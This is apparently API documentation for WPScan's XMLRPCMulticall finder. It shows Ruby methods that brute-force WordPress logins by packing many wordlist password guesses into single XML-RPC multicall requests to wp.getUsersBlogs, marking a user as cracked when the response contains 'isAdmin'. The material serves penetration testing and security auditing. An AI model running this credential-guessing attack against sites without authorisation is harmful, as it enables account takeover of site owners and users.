Class: WPScan::Finders::Passwords::XMLRPCMulticall

Inherits:
Finder
  • Object
show all
Defined in:
app/finders/passwords/xml_rpc_multicall.rb

Overview

Password attack against the XMLRPC interface with the multicall method WP < 4.4 is vulnerable to such attack

Constant Summary

Constants inherited from Finder

Finder::DIRECT_ACCESS

Instance Attribute Summary

Attributes inherited from Finder

#progress_bar, #target

Instance Method Summary collapse

Methods inherited from Finder

#aggressive, #browser, #create_progress_bar, #found_by, #hydra, #initialize, #passive, #titleize

Constructor Details

This class inherits a constructor from WPScan::Finders::Finder

Instance Method Details

#attack(users, wordlist_path, opts = {}) {|Model::User| ... } ⇒ Object

TODO: Make rubocop happy about metrics etc

rubocop:disable all

Parameters:

  • users (Array<Model::User>)
  • wordlist_path (String)
  • opts (Hash) (defaults to: {})

Options Hash (opts):

  • :show_progression (Boolean)
  • :multicall_max_passwords (Integer)

Yields:



58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
# File 'app/finders/passwords/xml_rpc_multicall.rb', line 58

def attack(users, wordlist_path, opts = {})
  checked_passwords      = 0
  wordlist               = File.open(wordlist_path)
  wordlist_size          = wordlist.count
  max_passwords          = opts[:multicall_max_passwords]
  current_passwords_size = passwords_size(max_passwords, users.size)

  create_progress_bar(total: (wordlist_size / current_passwords_size.round(1)).ceil,
                      show_progression: opts[:show_progression])

  wordlist.sysseek(0) # reset the descriptor to the beginning of the file as it changed with #count

  loop do
    current_users      = users.select { |user| user.password.nil? }
    current_passwords  = passwords_from_wordlist(wordlist, current_passwords_size)
    checked_passwords += current_passwords_size

    break if current_users.empty? || current_passwords.nil? || current_passwords.empty?

    res = do_multi_call(current_users, current_passwords)

    progress_bar.increment

    check_and_output_errors(res)

    # Avoid to parse the response and iterate over all the structs in the document
    # if there isn't any tag matching a valid combination
    next unless res.body =~ /isAdmin/ # maybe a better one ?

    Nokogiri::XML(res.body).xpath('//struct').each_with_index do |struct, index|
      next if struct.text =~ /faultCode/

      user = current_users[index / current_passwords.size]
      user.password = current_passwords[index % current_passwords.size]

      yield user

      # Updates the current_passwords_size and progress_bar#total
      # given that less requests will be done due to a valid combination found.
      current_passwords_size = passwords_size(max_passwords, current_users.size - 1)

      if current_passwords_size == 0
        progress_bar.log('All Found') # remove ?
        progress_bar.stop
        break
      end

      begin
        progress_bar.total = progress_bar.progress + ((wordlist_size - checked_passwords) / current_passwords_size.round(1)).ceil
      rescue ProgressBar::InvalidProgressError
      end
    end
  end
  # Maybe a progress_bar.stop ?
end

#check_and_output_errors(res) ⇒ Object

Parameters:



123
124
125
126
127
128
129
130
131
132
133
# File 'app/finders/passwords/xml_rpc_multicall.rb', line 123

def check_and_output_errors(res)
  progress_bar.log("Incorrect response: #{res.code} / #{res.return_message}") unless res.code == 200

  if /parse error. not well formed/i.match?(res.body)
    progress_bar.log('Parsing error, might be caused by a too high --max-passwords value (such as >= 2k)')
  end

  return unless /requested method [^ ]+ does not exist/i.match?(res.body)

  progress_bar.log('The requested method is not supported')
end

#do_multi_call(users, passwords) ⇒ Typhoeus::Response

Parameters:

  • users (Array<User>)
  • passwords (Array<String>)

Returns:



13
14
15
16
17
18
19
20
21
22
23
# File 'app/finders/passwords/xml_rpc_multicall.rb', line 13

def do_multi_call(users, passwords)
  methods = []

  users.each do |user|
    passwords.each do |password|
      methods << ['wp.getUsersBlogs', user.username, password]
    end
  end

  target.multi_call(methods, cache_ttl: 0).run
end

#passwords_from_wordlist(file, passwords_size) ⇒ Array<String>

Returns The passwords from the last checked position in the file until there are passwords_size passwords retrieved.

Parameters:

  • file (IO)
  • passwords_size (Integer)

Returns:

  • (Array<String>)

    The passwords from the last checked position in the file until there are passwords_size passwords retrieved



29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
# File 'app/finders/passwords/xml_rpc_multicall.rb', line 29

def passwords_from_wordlist(file, passwords_size)
  pwds       = []
  added_pwds = 0

  return pwds if passwords_size.zero?

  # Make sure that the main code does not call #sysseek or #count etc
  # otherwise the file descriptor will be set to somwehere else
  file.each_line(chomp: true) do |line|
    pwds << line
    added_pwds += 1

    break if added_pwds == passwords_size
  end

  pwds
end

#passwords_size(max_passwords, users_size) ⇒ Object

rubocop:enable all



115
116
117
118
119
120
# File 'app/finders/passwords/xml_rpc_multicall.rb', line 115

def passwords_size(max_passwords, users_size)
  return 1 if max_passwords < users_size
  return 0 if users_size.zero?

  max_passwords / users_size
end